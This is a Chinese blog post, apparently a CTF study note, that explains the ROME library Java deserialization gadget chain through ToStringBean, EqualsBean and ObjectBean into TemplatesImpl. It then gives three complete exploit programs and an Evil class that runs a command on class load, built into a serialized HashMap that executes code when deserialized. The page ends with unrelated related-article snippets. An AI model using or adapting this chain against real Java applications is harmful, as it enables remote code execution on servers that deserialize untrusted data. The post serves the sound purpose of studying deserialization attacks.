【Web】浅聊Java反序列化之Rome——EqualsBeanObjectBean

news/2024/5/19 22:54:50 标签: java, java反序列化, ctf, web, Rome反序列化, Rome, 反序列化

目录

简介

原理分析

ToStringBean

EqualsBean

ObjectBean

EXP

①EqualsBean直球纯享版

②EqualsBean配合ObjectBean优化版

③纯ObjectBean实现版


关于《浅聊Java反序列化》系列,纯是记录自己的学习历程,宥于本人水平有限,内容很水,经常会出现可以多篇合一篇的情况,但所幸同一个话题还是比较集中,真要翻起来不算太麻烦,仅供师傅们看个乐。

简介

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作,这也是问我们用Rome反序列化核心利用点

原理分析

一个一个类来看,慢慢梳理出调用链

ToStringBean

先来看其构造方法,接受两个参数 beanClassobj,并分别赋值给类的成员变量_beanClass和_obj

public ToStringBean(Class beanClass, Object obj) {
        this._beanClass = beanClass;
        this._obj = obj;
    }

再来看其“深入的toString方法”,有两种实现形式

很显然,toString() 方法内部首先获取相关信息,然后调用 toString(prefix) 方法

 public String toString() {
        Stack stack = (Stack)PREFIX_TL.get();
        String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
        String prefix;
        if (tsInfo == null) {
            String className = this._obj.getClass().getName();
            prefix = className.substring(className.lastIndexOf(".") + 1);
        } else {
            prefix = tsInfo[0];
            tsInfo[1] = prefix;
        }

        return this.toString(prefix);
    }

 我们重点关注toString(prefix)

    private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }

        return sb.toString();
    }

核心逻辑是先是得到pds,再获取pds返回值中的方法名和方法,最后反射调用_obj类的该方法

这一段个人认为和jdk7u21原生反序列化有相像之处,感兴趣的师傅可以回顾一下品一品:

【Web】Java原生反序列化之jdk7u21——又见动态代理

这里要注意一点:

pds[i].getReadMethod()会限制调用的方式只能是getter&is,哪怕取到了setter也不能用

从设计理念的角度:toStringBean的作用就是生成一个传入的写定对象的字符串表示形式,我们只用对对象进行读操作(getter),而不需要对对象进行写操作(setter)

这也就注定了,ROME链是触发getter方法来进行利用的

OK话说回来,pds自何来?

让我们跟进BeanIntrospector.getPropertyDescriptors(this._beanClass)

其传入了this._beanClass作为klass

 public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
        PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));
        if (descriptors == null) {
            descriptors = getPDs(klass);
            _introspected.put(klass, descriptors);
        }

        return descriptors;
    }

这段代码实现了一个缓存机制,用于获取给定类的属性描述符数组。首先尝试从缓存中获取,如果缓存中没有,则调用特定的方法获取属性描述符数组,并将其存储到缓存中

跟进getPDs(klass)

private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
        Method[] methods = klass.getMethods();
        Map getters = getPDs(methods, false);
        Map setters = getPDs(methods, true);
        List pds = merge(getters, setters);
        PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
        pds.toArray(array);
        return array;
    }

    private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {
        Map pds = new HashMap();

        for(int i = 0; i < methods.length; ++i) {
            String pName = null;
            PropertyDescriptor pDescriptor = null;
            if ((methods[i].getModifiers() & 1) != 0) {
                if (setters) {
                    if (methods[i].getName().startsWith("set") && methods[i].getReturnType() == Void.TYPE && methods[i].getParameterTypes().length == 1) {
                        pName = Introspector.decapitalize(methods[i].getName().substring(3));
                        pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]);
                    }
                } else if (methods[i].getName().startsWith("get") && methods[i].getReturnType() != Void.TYPE && methods[i].getParameterTypes().length == 0) {
                    pName = Introspector.decapitalize(methods[i].getName().substring(3));
                    pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
                } else if (methods[i].getName().startsWith("is") && methods[i].getReturnType() == Boolean.TYPE && methods[i].getParameterTypes().length == 0) {
                    pName = Introspector.decapitalize(methods[i].getName().substring(2));
                    pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
                }
            }

            if (pName != null) {
                pds.put(pName, pDescriptor);
            }
        }

        return pds;
    }

这段代码实现了根据类的方法获取其属性描述符数组的逻辑。通过遍历类的方法,在获取读取getter和setter方法并写入方法后,将它们合并为包含属性描述符的数组并返回。

那如果我们klass传入的是Templates.class,array中会存什么呢?打个断点看一眼:

可以看到拿到了我们的老熟人——getOutputProperties,即TemplatesImpl调用链的一环(不解释了)

既然这样,只要让ToStringBean的_obj属性为一个恶意TemplatesImpl对象,即可通过ToStringBean#toString的调用触发攻击

而toString自何来?

EqualsBean

先看其构造方法,顾名思义,果然equal

public EqualsBean(Class beanClass, Object obj) {
        if (!beanClass.isInstance(obj)) {
            throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
        } else {
            this._beanClass = beanClass;
            this._obj = obj;
        }
    }

初始化一个EqualsBean对象,确保传入的对象是指定类的实例,如果不是则抛出异常,否则将传入的类和对象分别赋值给类的成员变量_beanClass和_obj

重点关注其hashCode方法,调用了_obj的toString方法,这不就齐活了,我们只要传入obj为恶意ToStringBean对象就能连上上面讲的逻辑

 public int hashCode() {
        return this.beanHashCode();
    }

    public int beanHashCode() {
        return this._obj.toString().hashCode();
    }

而怎么调用EqualsBean#hashCode呢?

就是最典的URLDNS,以hashMap为反序列化入口就可

hashMap#readObject => hash(key) => key.hashCode() => EqualsBean#hashCode

但注意hashMap#put也会触发key.hashCode,如果不想弹两次计算器,我们要进行一些处理,先往map里put进一个fake恶意类,put完后再用反射去修改。具体操作请看EXP部分,不作赘述。

ObjectBean

先看其构造方法

public ObjectBean(Class beanClass, Object obj) {
        this(beanClass, obj, (Set)null);
    }

    public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
        this._equalsBean = new EqualsBean(beanClass, obj);
        this._toStringBean = new ToStringBean(beanClass, obj);
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
    }

第一个构造函数 ObjectBean(Class beanClass, Object obj) 在内部调用了第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties),并传递了一个空的 ignoreProperties 参数。
第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties) 创建了三个子对象:_equalsBean、_toStringBean 和 _cloneableBean,分别是 EqualsBean、ToStringBean 和 CloneableBean 的实例。

接着看,ObjectBean的hashCode方法和toString方法也是直接分别调用EqualsBean和ToStringBean的对应方法。

从顾名思义的角度,ObjectBean可以通过传入的class和obj来生成三个子对象,并存进各自的字段里,应该是允许自由构造的。

但疑惑的是,因为ObjectBean其初始化方法也调用了EqualsBean的初始化方法,那不直接指定了传入的obj必须是class的实例了吗?相当于又加了一层桎梏。

不过不重要,对于这条链的构造已经够够的了。

我们完全可以用ObjectBean来代替实现ToStringBean和EqualsBean的效果,具体操作请看EXP③

public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

    public String toString() {
        return this._toStringBean.toString();
    }

EXP

先导pom依赖

 <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>

Evil.java

package com.rome;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    //构造RCE代码
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

①EqualsBean直球纯享版

package com.rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome {

    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "xxx");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        ToStringBean bean = new ToStringBean(Templates.class, obj);
        ToStringBean fakebean= new ToStringBean(String.class, obj);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);
        HashMap map = new HashMap();
        map.put(equalsBean, 1);  // 注意put的时候也会执行hash
        setFieldValue(equalsBean, "_obj", bean);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
}

②EqualsBean配合ObjectBean优化版

package com.rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome {

    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "xxx");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        ToStringBean bean = new ToStringBean(Templates.class, obj);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, bean);
        ObjectBean fakeBean = new ObjectBean(String.class, "xxx");  // 传入无害的String.class
        HashMap map = new HashMap();
        map.put(fakeBean, 1);  // 注意put的时候也会执行hash
        setFieldValue(fakeBean, "_equalsBean", equalsBean);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
}

③纯ObjectBean实现版

package com.rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome {

    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "xxx");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        ObjectBean tostringBean = new ObjectBean(Templates.class, obj);
        ObjectBean fakebean= new ObjectBean(String.class, "xxx");
        ObjectBean equalsBean = new ObjectBean(ObjectBean.class, fakebean);
        HashMap map = new HashMap();
        map.put(equalsBean, 1);  // 注意put的时候也会执行hash
        setFieldValue(fakebean, "_toStringBean", getFieldValue(tostringBean,"_toStringBean"));

        // 序列化到文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
        oos.writeObject(map);
        oos.close();

        // 从文件中反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object o = ois.readObject();
        ois.close();
    }

    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }
}

http://www.niftyadmin.cn/n/5419014.html

相关文章

【万题详解】洛谷P1616 疯狂的采药

题目背景 此题为纪念 LiYuxiang 而生。 题目描述 LiYuxiang 是个天资聪颖的孩子&#xff0c;他的梦想是成为世界上最伟大的医师。为此&#xff0c;他想拜附近最有威望的医师为师。医师为了判断他的资质&#xff0c;给他出了一个难题。医师把他带到一个到处都是草药的山洞里对…

ROS2学习(七) Foxy版本ros2替换中间件。

在ros2使用的过程中&#xff0c;一开始选用的foxy版本&#xff0c;后来发现&#xff0c;foxy版本的ros2有很多问题。一个是foxy版本已经停止维护了。另一个问题是这个版本有很多bug, 后续的版本在功能实现上做了很大的改动&#xff0c;甚至说进行了重写。修复的一些问题&#x…

Android平台实现无纸化同屏并推送RTMP或轻量级RTSP服务(毫秒级延迟)

技术背景 在写这篇文章之前&#xff0c;实际上几年之前&#xff0c;我们就有非常稳定的无纸化同屏的模块&#xff0c;本文借demo更新&#xff0c;算是做个新的总结&#xff0c;废话不多说&#xff0c;先看图&#xff0c;本文以Android平台屏幕实时采集推送&#xff0c;Windows…

Beans模块之工厂模块BeanFactory

博主介绍&#xff1a;✌全网粉丝5W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面有丰富的经验…

全量知识系统 程序类 之5 通用事件构建器的代码生成工具设计(百度AI答问)

Q26. 一个SubEventBuilder程序 下面是用lisp编写的一个片段。请根据它给出一个适合的SubEventBuilder程序设计(分两次提交) (word-def occupiedinterest 5type EBsubclass SEBtemplate (script $Demonstrateactor nilobject nildemands nilmethod (scene $Occupy…

计算机组成原理 第二章(系统总线)—第二节(总线结构)

写在前面&#xff1a; 本系列笔记主要以《计算机组成原理&#xff08;唐朔飞&#xff09;》为参考&#xff0c;大部分内容出于此书&#xff0c;笔者的工作主要是挑其重点展示&#xff0c;另外配合下方视频链接的教程展开思路&#xff0c;在笔记中一些比较难懂的地方加以自己的…

Java项目:45 ssm004新生报到系统+jsp(含文档)

项目介绍 技术栈&#xff1a;spring springMVC mybatis mysql 系统角色&#xff1a;管理员&#xff0c;学生 系统功能&#xff1a;个人中心&#xff0c;管理员信息&#xff0c;班级信息&#xff0c;学院信息&#xff0c;专业信息&#xff0c;消息通知&#xff0c;缴费信息&a…

Contact-GraspNet: Efficient 6-DoF Grasp Generationin Cluttered Scenes

总结 提出一种端到端的网络&#xff0c;解决复杂场景中对未知物体的抓取。将六自由度抓取投影到观察到的点云中的接触点&#xff0c;表示只有4-DoF。 摘要 我们提出了一个端到端网络&#xff0c;可以直接从场景的深度记 录中有效地生成六自由度平行颚抓取的分布。 我们的新…